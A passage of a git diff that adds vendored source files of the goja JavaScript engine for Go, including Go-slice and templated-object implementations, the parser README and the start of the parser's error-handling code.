mapper for Go types. It can be called at any time, however +// the mapping for any given value is fixed at the point of creation. +// Setting this to nil restores the default behaviour which is all exported fields and methods are mapped to their +// original unchanged names. +func (r *Runtime) SetFieldNameMapper(mapper FieldNameMapper) { + r.fieldNameMapper = mapper + r.fieldsInfoCache = nil + r.methodsInfoCache = nil +} + +// TagFieldNameMapper returns a FieldNameMapper that uses the given tagName for struct fields and optionally +// uncapitalises (making the first letter lower case) method names. +// The common tag value syntax is supported (name[,options]), however options are ignored. +// Setting name to anything other than a valid ECMAScript identifier makes the field hidden. +func TagFieldNameMapper(tagName string, uncapMethods bool) FieldNameMapper { + return tagFieldNameMapper{ + tagName: tagName, + uncapMethods: uncapMethods, + } +} + +// UncapFieldNameMapper returns a FieldNameMapper that uncapitalises struct field and method names +// making the first letter lower case. +func UncapFieldNameMapper() FieldNameMapper { + return uncapFieldNameMapper{} +} diff --git a/backend/vendor/github.com/dop251/goja/object_goslice.go b/backend/vendor/github.com/dop251/goja/object_goslice.go new file mode 100644 index 0000000..1a52207 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_goslice.go @@ -0,0 +1,343 @@ +package goja + +import ( + "math" + "math/bits" + "reflect" + "strconv" + + "github.com/dop251/goja/unistring" +) + +type objectGoSlice struct { + baseObject + data *[]interface{} + lengthProp valueProperty + origIsPtr bool +} + +func (r *Runtime) newObjectGoSlice(data *[]interface{}, isPtr bool) *objectGoSlice { + obj := &Object{runtime: r} + a := &objectGoSlice{ + baseObject: baseObject{ + val: obj, + }, + data: data, + origIsPtr: isPtr, + } + obj.self = a + a.init() + + return a +} + +func (o *objectGoSlice) init() { + o.baseObject.init() + o.class = classArray + o.prototype = o.val.runtime.getArrayPrototype() + o.lengthProp.writable = true + o.extensible = true + o.baseObject._put("length", &o.lengthProp) +} + +func (o *objectGoSlice) updateLen() { + o.lengthProp.value = intToValue(int64(len(*o.data))) +} + +func (o *objectGoSlice) _getIdx(idx int) Value { + return o.val.runtime.ToValue((*o.data)[idx]) +} + +func (o *objectGoSlice) getStr(name unistring.String, receiver Value) Value { + var ownProp Value + if idx := strToGoIdx(name); idx >= 0 && idx < len(*o.data) { + ownProp = o._getIdx(idx) + } else if name == "length" { + o.updateLen() + ownProp = &o.lengthProp + } + + return o.getStrWithOwnProp(ownProp, name, receiver) +} + +func (o *objectGoSlice) getIdx(idx valueInt, receiver Value) Value { + if idx := int64(idx); idx >= 0 && idx < int64(len(*o.data)) { + return o._getIdx(int(idx)) + } + if o.prototype != nil { + if receiver == nil { + return o.prototype.self.getIdx(idx, o.val) + } + return o.prototype.self.getIdx(idx, receiver) + } + return nil +} + +func (o *objectGoSlice) getOwnPropStr(name unistring.String) Value { + if idx := strToGoIdx(name); idx >= 0 { + if idx < len(*o.data) { + return &valueProperty{ + value: o._getIdx(idx), + writable: true, + enumerable: true, + } + } + return nil + } + if name == "length" { + o.updateLen() + return &o.lengthProp + } + return nil +} + +func (o *objectGoSlice) getOwnPropIdx(idx valueInt) Value { + if idx := int64(idx); idx >= 0 && idx < int64(len(*o.data)) { + return &valueProperty{ + value: o._getIdx(int(idx)), + writable: true, + enumerable: true, + } + } + return nil +} + +func (o *objectGoSlice) grow(size int) { + oldcap := cap(*o.data) + if oldcap < size { + n := make([]interface{}, size, growCap(size, len(*o.data), oldcap)) + copy(n, *o.data) + *o.data = n + } else { + tail := (*o.data)[len(*o.data):size] + for k := range tail { + tail[k] = nil + } + *o.data = (*o.data)[:size] + } +} + +func (o *objectGoSlice) shrink(size int) { + tail := (*o.data)[size:] + for k := range tail { + tail[k] = nil + } + *o.data = (*o.data)[:size] +} + +func (o *objectGoSlice) putIdx(idx int, v Value, throw bool) { + if idx >= len(*o.data) { + o.grow(idx + 1) + } + (*o.data)[idx] = v.Export() +} + +func (o *objectGoSlice) putLength(v uint32, throw bool) bool { + if bits.UintSize == 32 && v > math.MaxInt32 { + panic(rangeError("Integer value overflows 32-bit int")) + } + newLen := int(v) + curLen := len(*o.data) + if newLen > curLen { + o.grow(newLen) + } else if newLen < curLen { + o.shrink(newLen) + } + return true +} + +func (o *objectGoSlice) setOwnIdx(idx valueInt, val Value, throw bool) bool { + if i := toIntStrict(int64(idx)); i >= 0 { + if i >= len(*o.data) { + if res, ok := o._setForeignIdx(idx, nil, val, o.val, throw); ok { + return res + } + } + o.putIdx(i, val, throw) + } else { + name := idx.string() + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); !ok { + o.val.runtime.typeErrorResult(throw, "Can't set property '%s' on Go slice", name) + return false + } else { + return res + } + } + return true +} + +func (o *objectGoSlice) setOwnStr(name unistring.String, val Value, throw bool) bool { + if idx := strToGoIdx(name); idx >= 0 { + if idx >= len(*o.data) { + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); ok { + return res + } + } + o.putIdx(idx, val, throw) + } else { + if name == "length" { + return o.putLength(o.val.runtime.toLengthUint32(val), throw) + } + if res, ok := o._setForeignStr(name, nil, val, o.val, throw); !ok { + o.val.runtime.typeErrorResult(throw, "Can't set property '%s' on Go slice", name) + return false + } else { + return res + } + } + return true +} + +func (o *objectGoSlice) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignIdx(idx, trueValIfPresent(o.hasOwnPropertyIdx(idx)), val, receiver, throw) +} + +func (o *objectGoSlice) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return o._setForeignStr(name, trueValIfPresent(o.hasOwnPropertyStr(name)), val, receiver, throw) +} + +func (o *objectGoSlice) hasOwnPropertyIdx(idx valueInt) bool { + if idx := int64(idx); idx >= 0 { + return idx < int64(len(*o.data)) + } + return false +} + +func (o *objectGoSlice) hasOwnPropertyStr(name unistring.String) bool { + if idx := strToIdx64(name); idx >= 0 { + return idx < int64(len(*o.data)) + } + return name == "length" +} + +func (o *objectGoSlice) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + if i := toIntStrict(int64(idx)); i >= 0 { + if !o.val.runtime.checkHostObjectPropertyDescr(idx.string(), descr, throw) { + return false + } + val := descr.Value + if val == nil { + val = _undefined + } + o.putIdx(i, val, throw) + return true + } + o.val.runtime.typeErrorResult(throw, "Cannot define property '%d' on a Go slice", idx) + return false +} + +func (o *objectGoSlice) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if idx := strToGoIdx(name); idx >= 0 { + if !o.val.runtime.checkHostObjectPropertyDescr(name, descr, throw) { + return false + } + val := descr.Value + if val == nil { + val = _undefined + } + o.putIdx(idx, val, throw) + return true + } + if name == "length" { + return o.val.runtime.defineArrayLength(&o.lengthProp, descr, o.putLength, throw) + } + o.val.runtime.typeErrorResult(throw, "Cannot define property '%s' on a Go slice", name) + return false +} + +func (o *objectGoSlice) _deleteIdx(idx int64) { + if idx < int64(len(*o.data)) { + (*o.data)[idx] = nil + } +} + +func (o *objectGoSlice) deleteStr(name unistring.String, throw bool) bool { + if idx := strToIdx64(name); idx >= 0 { + o._deleteIdx(idx) + return true + } + return o.baseObject.deleteStr(name, throw) +} + +func (o *objectGoSlice) deleteIdx(i valueInt, throw bool) bool { + idx := int64(i) + if idx >= 0 { + o._deleteIdx(idx) + } + return true +} + +type goslicePropIter struct { + o *objectGoSlice + idx, limit int +} + +func (i *goslicePropIter) next() (propIterItem, iterNextFunc) { + if i.idx < i.limit && i.idx < len(*i.o.data) { + name := strconv.Itoa(i.idx) + i.idx++ + return propIterItem{name: newStringValue(name), enumerable: _ENUM_TRUE}, i.next + } + + return propIterItem{}, nil +} + +func (o *objectGoSlice) iterateStringKeys() iterNextFunc { + return (&goslicePropIter{ + o: o, + limit: len(*o.data), + }).next +} + +func (o *objectGoSlice) stringKeys(_ bool, accum []Value) []Value { + for i := range *o.data { + accum = append(accum, asciiString(strconv.Itoa(i))) + } + + return accum +} + +func (o *objectGoSlice) export(*objectExportCtx) interface{} { + if o.origIsPtr { + return o.data + } + return *o.data +} + +func (o *objectGoSlice) exportType() reflect.Type { + if o.origIsPtr { + return reflectTypeArrayPtr + } + return reflectTypeArray +} + +func (o *objectGoSlice) equal(other objectImpl) bool { + if other, ok := other.(*objectGoSlice); ok { + return o.data == other.data + } + return false +} + +func (o *objectGoSlice) esValue() Value { + return o.val +} + +func (o *objectGoSlice) reflectValue() reflect.Value { + return reflect.ValueOf(o.data).Elem() +} + +func (o *objectGoSlice) setReflectValue(value reflect.Value) { + o.data = value.Addr().Interface().(*[]interface{}) +} + +func (o *objectGoSlice) sortLen() int { + return len(*o.data) +} + +func (o *objectGoSlice) sortGet(i int) Value { + return o.getIdx(valueInt(i), nil) +} + +func (o *objectGoSlice) swap(i int, j int) { + (*o.data)[i], (*o.data)[j] = (*o.data)[j], (*o.data)[i] +} diff --git a/backend/vendor/github.com/dop251/goja/object_goslice_reflect.go b/backend/vendor/github.com/dop251/goja/object_goslice_reflect.go new file mode 100644 index 0000000..4c28d8c --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_goslice_reflect.go @@ -0,0 +1,89 @@ +package goja + +import ( + "math" + "math/bits" + "reflect" + + "github.com/dop251/goja/unistring" +) + +type objectGoSliceReflect struct { + objectGoArrayReflect +} + +func (o *objectGoSliceReflect) init() { + o.objectGoArrayReflect._init() + o.lengthProp.writable = true + o.putIdx = o._putIdx +} + +func (o *objectGoSliceReflect) _putIdx(idx int, v Value, throw bool) bool { + if idx >= o.fieldsValue.Len() { + o.grow(idx + 1) + } + return o.objectGoArrayReflect._putIdx(idx, v, throw) +} + +func (o *objectGoSliceReflect) grow(size int) { + oldcap := o.fieldsValue.Cap() + if oldcap < size { + n := reflect.MakeSlice(o.fieldsValue.Type(), size, growCap(size, o.fieldsValue.Len(), oldcap)) + reflect.Copy(n, o.fieldsValue) + o.fieldsValue.Set(n) + l := len(o.valueCache) + if l > size { + l = size + } + for i, w := range o.valueCache[:l] { + if w != nil { + w.setReflectValue(o.fieldsValue.Index(i)) + } + } + } else { + tail := o.fieldsValue.Slice(o.fieldsValue.Len(), size) + zero := reflect.Zero(o.fieldsValue.Type().Elem()) + for i := 0; i < tail.Len(); i++ { + tail.Index(i).Set(zero) + } + o.fieldsValue.SetLen(size) + } +} + +func (o *objectGoSliceReflect) shrink(size int) { + o.valueCache.shrink(size) + tail := o.fieldsValue.Slice(size, o.fieldsValue.Len()) + zero := reflect.Zero(o.fieldsValue.Type().Elem()) + for i := 0; i < tail.Len(); i++ { + tail.Index(i).Set(zero) + } + o.fieldsValue.SetLen(size) +} + +func (o *objectGoSliceReflect) putLength(v uint32, throw bool) bool { + if bits.UintSize == 32 && v > math.MaxInt32 { + panic(rangeError("Integer value overflows 32-bit int")) + } + newLen := int(v) + curLen := o.fieldsValue.Len() + if newLen > curLen { + o.grow(newLen) + } else if newLen < curLen { + o.shrink(newLen) + } + return true +} + +func (o *objectGoSliceReflect) setOwnStr(name unistring.String, val Value, throw bool) bool { + if name == "length" { + return o.putLength(o.val.runtime.toLengthUint32(val), throw) + } + return o.objectGoArrayReflect.setOwnStr(name, val, throw) +} + +func (o *objectGoSliceReflect) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if name == "length" { + return o.val.runtime.defineArrayLength(&o.lengthProp, descr, o.putLength, throw) + } + return o.objectGoArrayReflect.defineOwnPropertyStr(name, descr, throw) +} diff --git a/backend/vendor/github.com/dop251/goja/object_template.go b/backend/vendor/github.com/dop251/goja/object_template.go new file mode 100644 index 0000000..6d42f9f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/object_template.go @@ -0,0 +1,469 @@ +package goja + +import ( + "fmt" + "github.com/dop251/goja/unistring" + "math" + "reflect" + "sort" +) + +type templatePropFactory func(*Runtime) Value + +type objectTemplate struct { + propNames []unistring.String + props map[unistring.String]templatePropFactory + + symProps map[*Symbol]templatePropFactory + symPropNames []*Symbol + + protoFactory func(*Runtime) *Object +} + +type templatedObject struct { + baseObject + tmpl *objectTemplate + + protoMaterialised bool +} + +type templatedFuncObject struct { + templatedObject + + f func(FunctionCall) Value + construct func(args []Value, newTarget *Object) *Object +} + +// This type exists because Array.prototype is supposed to be an array itself and I could not find +// a different way of implementing it without either introducing another layer of interfaces or hoisting +// the templates to baseObject both of which would have had a negative effect on the performance. +// The implementation is as simple as possible and is not optimised in any way, but I very much doubt anybody +// uses Array.prototype as an actual array. +type templatedArrayObject struct { + templatedObject +} + +func newObjectTemplate() *objectTemplate { + return &objectTemplate{ + props: make(map[unistring.String]templatePropFactory), + } +} + +func (t *objectTemplate) putStr(name unistring.String, f templatePropFactory) { + t.props[name] = f + t.propNames = append(t.propNames, name) +} + +func (t *objectTemplate) putSym(s *Symbol, f templatePropFactory) { + if t.symProps == nil { + t.symProps = make(map[*Symbol]templatePropFactory) + } + t.symProps[s] = f + t.symPropNames = append(t.symPropNames, s) +} + +func (r *Runtime) newTemplatedObject(tmpl *objectTemplate, obj *Object) *templatedObject { + if obj == nil { + obj = &Object{runtime: r} + } + o := &templatedObject{ + baseObject: baseObject{ + class: classObject, + val: obj, + extensible: true, + }, + tmpl: tmpl, + } + obj.self = o + o.init() + return o +} + +func (o *templatedObject) materialiseProto() { + if !o.protoMaterialised { + if o.tmpl.protoFactory != nil { + o.prototype = o.tmpl.protoFactory(o.val.runtime) + } + o.protoMaterialised = true + } +} + +func (o *templatedObject) getStr(name unistring.String, receiver Value) Value { + ownProp := o.getOwnPropStr(name) + if ownProp == nil { + o.materialiseProto() + } + return o.getStrWithOwnProp(ownProp, name, receiver) +} + +func (o *templatedObject) getSym(s *Symbol, receiver Value) Value { + ownProp := o.getOwnPropSym(s) + if ownProp == nil { + o.materialiseProto() + } + return o.getWithOwnProp(ownProp, s, receiver) +} + +func (o *templatedObject) getOwnPropStr(p unistring.String) Value { + if v, exists := o.values[p]; exists { + return v + } + if f := o.tmpl.props[p]; f != nil { + v := f(o.val.runtime) + o.values[p] = v + return v + } + return nil +} + +func (o *templatedObject) materialiseSymbols() { + if o.symValues == nil { + o.symValues = newOrderedMap(nil) + for _, p := range o.tmpl.symPropNames { + o.symValues.set(p, o.tmpl.symProps[p](o.val.runtime)) + } + } +} + +func (o *templatedObject) getOwnPropSym(s *Symbol) Value { + if o.symValues == nil && o.tmpl.symProps[s] == nil { + return nil + } + o.materialiseSymbols() + return o.baseObject.getOwnPropSym(s) +} + +func (o *templatedObject) materialisePropNames() { + if o.propNames == nil { + o.propNames = append(([]unistring.String)(nil), o.tmpl.propNames...) + } +} + +func (o *templatedObject) setOwnStr(p unistring.String, v Value, throw bool) bool { + existing := o.getOwnPropStr(p) // materialise property (in case it's an accessor) + if existing == nil { + o.materialiseProto() + o.materialisePropNames() + } + return o.baseObject.setOwnStr(p, v, throw) +} + +func (o *templatedObject) setOwnSym(name *Symbol, val Value, throw bool) bool { + o.materialiseSymbols() + o.materialiseProto() + return o.baseObject.setOwnSym(name, val, throw) +} + +func (o *templatedObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + ownProp := o.getOwnPropStr(name) + if ownProp == nil { + o.materialiseProto() + } + return o._setForeignStr(name, ownProp, val, receiver, throw) +} + +func (o *templatedObject) proto() *Object { + o.materialiseProto() + return o.prototype +} + +func (o *templatedObject) setProto(proto *Object, throw bool) bool { + o.protoMaterialised = true + ret := o.baseObject.setProto(proto, throw) + if ret { + o.protoMaterialised = true + } + return ret +} + +func (o *templatedObject) setForeignIdx(name valueInt, val, receiver Value, throw bool) (bool, bool) { + return o.setForeignStr(name.string(), val, receiver, throw) +} + +func (o *templatedObject) setForeignSym(name *Symbol, val, receiver Value, throw bool) (bool, bool) { + o.materialiseProto() + o.materialiseSymbols() + return o.baseObject.setForeignSym(name, val, receiver, throw) +} + +func (o *templatedObject) hasPropertyStr(name unistring.String) bool { + if o.val.self.hasOwnPropertyStr(name) { + return true + } + o.materialiseProto() + if o.prototype != nil { + return o.prototype.self.hasPropertyStr(name) + } + return false +} + +func (o *templatedObject) hasPropertySym(s *Symbol) bool { + if o.hasOwnPropertySym(s) { + return true + } + o.materialiseProto() + if o.prototype != nil { + return o.prototype.self.hasPropertySym(s) + } + return false +} + +func (o *templatedObject) hasOwnPropertyStr(name unistring.String) bool { + if v, exists := o.values[name]; exists { + return v != nil + } + + _, exists := o.tmpl.props[name] + return exists +} + +func (o *templatedObject) hasOwnPropertySym(s *Symbol) bool { + if o.symValues != nil { + return o.symValues.has(s) + } + _, exists := o.tmpl.symProps[s] + return exists +} + +func (o *templatedObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + existingVal := o.getOwnPropStr(name) + if v, ok := o._defineOwnProperty(name, existingVal, descr, throw); ok { + o.values[name] = v + if existingVal == nil { + o.materialisePropNames() + names := copyNamesIfNeeded(o.propNames, 1) + o.propNames = append(names, name) + } + return true + } + return false +} + +func (o *templatedObject) defineOwnPropertySym(s *Symbol, descr PropertyDescriptor, throw bool) bool { + o.materialiseSymbols() + return o.baseObject.defineOwnPropertySym(s, descr, throw) +} + +func (o *templatedObject) deleteStr(name unistring.String, throw bool) bool { + if val := o.getOwnPropStr(name); val != nil { + if !o.checkDelete(name, val, throw) { + return false + } + o.materialisePropNames() + o._delete(name) + if _, exists := o.tmpl.props[name]; exists { + o.values[name] = nil // white hole + } + } + return true +} + +func (o *templatedObject) deleteSym(s *Symbol, throw bool) bool { + o.materialiseSymbols() + return o.baseObject.deleteSym(s, throw) +} + +func (o *templatedObject) materialiseProps() { + for name, f := range o.tmpl.props { + if _, exists := o.values[name]; !exists { + o.values[name] = f(o.val.runtime) + } + } + o.materialisePropNames() +} + +func (o *templatedObject) iterateStringKeys() iterNextFunc { + o.materialiseProps() + return o.baseObject.iterateStringKeys() +} + +func (o *templatedObject) iterateSymbols() iterNextFunc { + o.materialiseSymbols() + return o.baseObject.iterateSymbols() +} + +func (o *templatedObject) stringKeys(all bool, keys []Value) []Value { + if all { + o.materialisePropNames() + } else { + o.materialiseProps() + } + return o.baseObject.stringKeys(all, keys) +} + +func (o *templatedObject) symbols(all bool, accum []Value) []Value { + o.materialiseSymbols() + return o.baseObject.symbols(all, accum) +} + +func (o *templatedObject) keys(all bool, accum []Value) []Value { + return o.symbols(all, o.stringKeys(all, accum)) +} + +func (r *Runtime) newTemplatedFuncObject(tmpl *objectTemplate, obj *Object, f func(FunctionCall) Value, ctor func([]Value, *Object) *Object) *templatedFuncObject { + if obj == nil { + obj = &Object{runtime: r} + } + o := &templatedFuncObject{ + templatedObject: templatedObject{ + baseObject: baseObject{ + class: classFunction, + val: obj, + extensible: true, + }, + tmpl: tmpl, + }, + f: f, + construct: ctor, + } + obj.self = o + o.init() + return o +} + +func (f *templatedFuncObject) source() String { + return newStringValue(fmt.Sprintf("function %s() { [native code] }", nilSafe(f.getStr("name", nil)).toString())) +} + +func (f *templatedFuncObject) export(*objectExportCtx) interface{} { + return f.f +} + +func (f *templatedFuncObject) assertCallable() (func(FunctionCall) Value, bool) { + if f.f != nil { + return f.f, true + } + return nil, false +} + +func (f *templatedFuncObject) vmCall(vm *vm, n int) { + var nf nativeFuncObject + nf.f = f.f + nf.vmCall(vm, n) +} + +func (f *templatedFuncObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + return f.construct +} + +func (f *templatedFuncObject) exportType() reflect.Type { + return reflectTypeFunc +} + +func (f *templatedFuncObject) typeOf() String { + return stringFunction +} + +func (f *templatedFuncObject) hasInstance(v Value) bool { + return hasInstance(f.val, v) +} + +func (r *Runtime) newTemplatedArrayObject(tmpl *objectTemplate, obj *Object) *templatedArrayObject { + if obj == nil { + obj = &Object{runtime: r} + } + o := &templatedArrayObject{ + templatedObject: templatedObject{ + baseObject: baseObject{ + class: classArray, + val: obj, + extensible: true, + }, + tmpl: tmpl, + }, + } + obj.self = o + o.init() + return o +} + +func (a *templatedArrayObject) getLenProp() *valueProperty { + lenProp, _ := a.getOwnPropStr("length").(*valueProperty) + if lenProp == nil { + panic(a.val.runtime.NewTypeError("missing length property")) + } + return lenProp +} + +func (a *templatedArrayObject) _setOwnIdx(idx uint32) { + lenProp := a.getLenProp() + l := uint32(lenProp.value.ToInteger()) + if idx >= l { + lenProp.value = intToValue(int64(idx) + 1) + } +} + +func (a *templatedArrayObject) setLength(l uint32, throw bool) bool { + lenProp := a.getLenProp() + oldLen := uint32(lenProp.value.ToInteger()) + if l == oldLen { + return true + } + if !lenProp.writable { + a.val.runtime.typeErrorResult(throw, "length is not writable") + return false + } + ret := true + if l < oldLen { + a.materialisePropNames() + a.fixPropOrder() + i := sort.Search(a.idxPropCount, func(idx int) bool { + return strToArrayIdx(a.propNames[idx]) >= l + }) + for j := a.idxPropCount - 1; j >= i; j-- { + if !a.deleteStr(a.propNames[j], false) { + l = strToArrayIdx(a.propNames[j]) + 1 + ret = false + break + } + } + } + lenProp.value = intToValue(int64(l)) + return ret +} + +func (a *templatedArrayObject) setOwnStr(name unistring.String, value Value, throw bool) bool { + if name == "length" { + return a.setLength(a.val.runtime.toLengthUint32(value), throw) + } + if !a.templatedObject.setOwnStr(name, value, throw) { + return false + } + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + a._setOwnIdx(idx) + } + return true +} + +func (a *templatedArrayObject) setOwnIdx(p valueInt, v Value, throw bool) bool { + if !a.templatedObject.setOwnStr(p.string(), v, throw) { + return false + } + if idx := toIdx(p); idx != math.MaxUint32 { + a._setOwnIdx(idx) + } + return true +} + +func (a *templatedArrayObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if name == "length" { + return a.val.runtime.defineArrayLength(a.getLenProp(), descr, a.setLength, throw) + } + if !a.templatedObject.defineOwnPropertyStr(name, descr, throw) { + return false + } + if idx := strToArrayIdx(name); idx != math.MaxUint32 { + a._setOwnIdx(idx) + } + return true +} + +func (a *templatedArrayObject) defineOwnPropertyIdx(p valueInt, desc PropertyDescriptor, throw bool) bool { + if !a.templatedObject.defineOwnPropertyStr(p.string(), desc, throw) { + return false + } + if idx := toIdx(p); idx != math.MaxUint32 { + a._setOwnIdx(idx) + } + return true +} diff --git a/backend/vendor/github.com/dop251/goja/parser/README.markdown b/backend/vendor/github.com/dop251/goja/parser/README.markdown new file mode 100644 index 0000000..ec1186d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/README.markdown @@ -0,0 +1,184 @@ +# parser +-- + import "github.com/dop251/goja/parser" + +Package parser implements a parser for JavaScript. Borrowed from https://github.com/robertkrimen/otto/tree/master/parser + + import ( + "github.com/dop251/goja/parser" + ) + +Parse and return an AST + + filename := "" // A filename is optional + src := ` + // Sample xyzzy example + (function(){ + if (3.14159 > 0) { + console.log("Hello, World."); + return; + } + + var xyzzy = NaN; + console.log("Nothing happens."); + return xyzzy; + })(); + ` + + // Parse some JavaScript, yielding a *ast.Program and/or an ErrorList + program, err := parser.ParseFile(nil, filename, src, 0) + + +### Warning + +The parser and AST interfaces are still works-in-progress (particularly where +node types are concerned) and may change in the future. + +## Usage + +#### func ParseFile + +```go +func ParseFile(fileSet *file.FileSet, filename string, src interface{}, mode Mode) (*ast.Program, error) +``` +ParseFile parses the source code of a single JavaScript/ECMAScript source file +and returns the corresponding ast.Program node. + +If fileSet == nil, ParseFile parses source without a FileSet. If fileSet != nil, +ParseFile first adds filename and src to fileSet. + +The filename argument is optional and is used for labelling errors, etc. + +src may be a string, a byte slice, a bytes.Buffer, or an io.Reader, but it MUST +always be in UTF-8. + + // Parse some JavaScript, yielding a *ast.Program and/or an ErrorList + program, err := parser.ParseFile(nil, "", `if (abc > 1) {}`, 0) + +#### func ParseFunction + +```go +func ParseFunction(parameterList, body string) (*ast.FunctionLiteral, error) +``` +ParseFunction parses a given parameter list and body as a function and returns +the corresponding ast.FunctionLiteral node. + +The parameter list, if any, should be a comma-separated list of identifiers. + +#### func ReadSource + +```go +func ReadSource(filename string, src interface{}) ([]byte, error) +``` + +#### func TransformRegExp + +```go +func TransformRegExp(pattern string) (string, error) +``` +TransformRegExp transforms a JavaScript pattern into a Go "regexp" pattern. + +re2 (Go) cannot do backtracking, so the presence of a lookahead (?=) (?!) or +backreference (\1, \2, ...) will cause an error. + +re2 (Go) has a different definition for \s: [\t\n\f\r ]. The JavaScript +definition, on the other hand, also includes \v, Unicode "Separator, Space", +etc. + +If the pattern is invalid (not valid even in JavaScript), then this function +returns the empty string and an error. + +If the pattern is valid, but incompatible (contains a lookahead or +backreference), then this function returns the transformation (a non-empty +string) AND an error. + +#### type Error + +```go +type Error struct { + Position file.Position + Message string +} +``` + +An Error represents a parsing error. It includes the position where the error +occurred and a message/description. + +#### func (Error) Error + +```go +func (self Error) Error() string +``` + +#### type ErrorList + +```go +type ErrorList []*Error +``` + +ErrorList is a list of *Errors. + +#### func (*ErrorList) Add + +```go +func (self *ErrorList) Add(position file.Position, msg string) +``` +Add adds an Error with given position and message to an ErrorList. + +#### func (ErrorList) Err + +```go +func (self ErrorList) Err() error +``` +Err returns an error equivalent to this ErrorList. If the list is empty, Err +returns nil. + +#### func (ErrorList) Error + +```go +func (self ErrorList) Error() string +``` +Error implements the Error interface. + +#### func (ErrorList) Len + +```go +func (self ErrorList) Len() int +``` + +#### func (ErrorList) Less + +```go +func (self ErrorList) Less(i, j int) bool +``` + +#### func (*ErrorList) Reset + +```go +func (self *ErrorList) Reset() +``` +Reset resets an ErrorList to no errors. + +#### func (ErrorList) Sort + +```go +func (self ErrorList) Sort() +``` + +#### func (ErrorList) Swap + +```go +func (self ErrorList) Swap(i, j int) +``` + +#### type Mode + +```go +type Mode uint +``` + +A Mode value is a set of flags (or 0). They control optional parser +functionality. + +-- +**godocdown** http://github.com/robertkrimen/godocdown diff --git a/backend/vendor/github.com/dop251/goja/parser/error.go b/backend/vendor/github.com/dop251/goja/parser/error.go new file mode 100644 index 0000000..cf4d2c3 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/error.go @@ -0,0 +1,176 @@ +package parser + +import ( + "fmt" + "sort" + + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" +) + +const ( + err_UnexpectedToken = "Unexpected token %v" + err_UnexpectedEndOfInput = "Unexpected end of input" + err_UnexpectedEscape = "Unexpected escape" +) + +// UnexpectedNumber: 'Unexpected number', +// UnexpectedString: 'Unexpected string', +// UnexpectedIdentifier: 'Unexpected identifier', +// UnexpectedReserved: 'Unexpected reserved word', +// NewlineAfterThrow: 'Illegal newline after throw', +// InvalidRegExp: 'Invalid regular expression', +// UnterminatedRegExp: 'Invalid regular expression: missing /', +// InvalidLHSInAssignment: 'Invalid left-hand side in assignment', +// InvalidLHSInForIn: 'Invalid left-hand side in for-in', +// MultipleDefaultsInSwitch: 'More than one default clause in switch statement', +// NoCatchOrFinally: 'Missing catch or finally after try', +// UnknownLabel: 'Undefined label \'%0\'', +// Redeclaration: '%0 \'%1\' has already been declared', +// IllegalContinue: 'Illegal continue statement', +// IllegalBreak: 'Illegal break statement', +// IllegalReturn: 'Illegal return statement', +// StrictModeWith: 'Strict mode code may not include a with statement', +// StrictCatchVariable: 'Catch variable may not be eval or arguments in strict mode', +// StrictVarName: 'Variable name may not be eval or arguments in strict mode', +// StrictParamName: 'Parameter name eval or arguments is not allowed in strict mode', +// StrictParamDupe: 'Strict mode function may not have duplicate parameter names', +// StrictFunctionName: 'Function name may not be eval or arguments in strict mode', +// StrictOctalLiteral: 'Octal literals are not allowed in strict mode.', +// StrictDelete: 'Delete of an unqualified identifier in strict mode.', +// StrictDuplicateProperty: 'Duplicate data property in object literal not allowed in strict mode', +// AccessorDataProperty: 'Object literal may not have data and accessor property with the same name', +// AccessorGetSet: 'Object literal may not have multiple get/set accessors with the same name', +// StrictLHSAssignment: 'Assignment to eval or arguments is not allowed in strict mode', +// StrictLHSPostfix: 'Postfix increment/decrement may not have eval or arguments operand in strict mode', +// StrictLHSPrefix: 'Prefix increment/decrement may not have eval or arguments operand in strict mode', +// StrictReservedWord: 'Use of future reserved word in strict mode' + +// A SyntaxError is a description of an ECMAScript syntax error. + +// An Error represents a parsing error. It includes the position where the error occurred and a message/description. +type Error struct { + Position file.Position + Message string +} + +// FIXME Should this be "SyntaxError"? + +func (self Error) Error() string { + filename := self.Position.Filename + if filename == "" { + filename = "(anonymous)" + } + return fmt.Sprintf("%s: Line %d:%d %s", + filename, + self.Position.Line, + self.Position.Column, + self.Message, + ) +} + +func (self *_parser) error(place interface{}, msg string, msgValues ...interface{}) *Error { + idx := file.Idx(0) + switch place := place.(type) { + case int: + idx = self.idxOf(place) + case file.Idx: + if place == 0 { + idx = self.idxOf(self.chrOffset) + } else { + idx = place + } + default: + panic(fmt.Errorf("error(%T, ...)", place)) + } + + position := self.position(idx) + msg = fmt.Sprintf(msg, msgValues...) + self.errors.Add(position, msg) + return self.errors[len(self.errors)-1] +} + +func (self *_parser) errorUnexpected(idx file.Idx, chr rune) error { + if chr == -1 { + return self.error(idx, err_UnexpectedEndOfInput) + } + return self.error(idx, err_UnexpectedToken, token.ILLEGAL) +} + +func (self *_parser) errorUnexpectedToken(tkn token.Token) error { + switch tkn { + case token.EOF: + return self.error(file.Idx(0), err_UnexpectedEndOfInput) + } + value := tkn.String() + switch tkn { + case token.BOOLEAN, token.NULL: + value = self.literal + case token.IDENTIFIER: + return self.error(self.idx, "Unexpected identifier") + case token.KEYWORD: + // TODO Might be a future reserved word + return self.error(self.idx, "Unexpected reserved word") + case token.ESCAPED_RESERVED_WORD: + return self.error(self.idx, "Keyword must not contain escaped characters") + case token.NUMBER: + return self.error(self.idx, "Unexpected number") + case token.STRING: + return self.error(self.idx, "Unexpected string") + } + return self.error(self.idx, err_UnexpectedToken, value) +} + +// ErrorList is a list of *Errors. +type ErrorList []*Error + +// Add adds an Error with given position and message to an ErrorList. +func (self 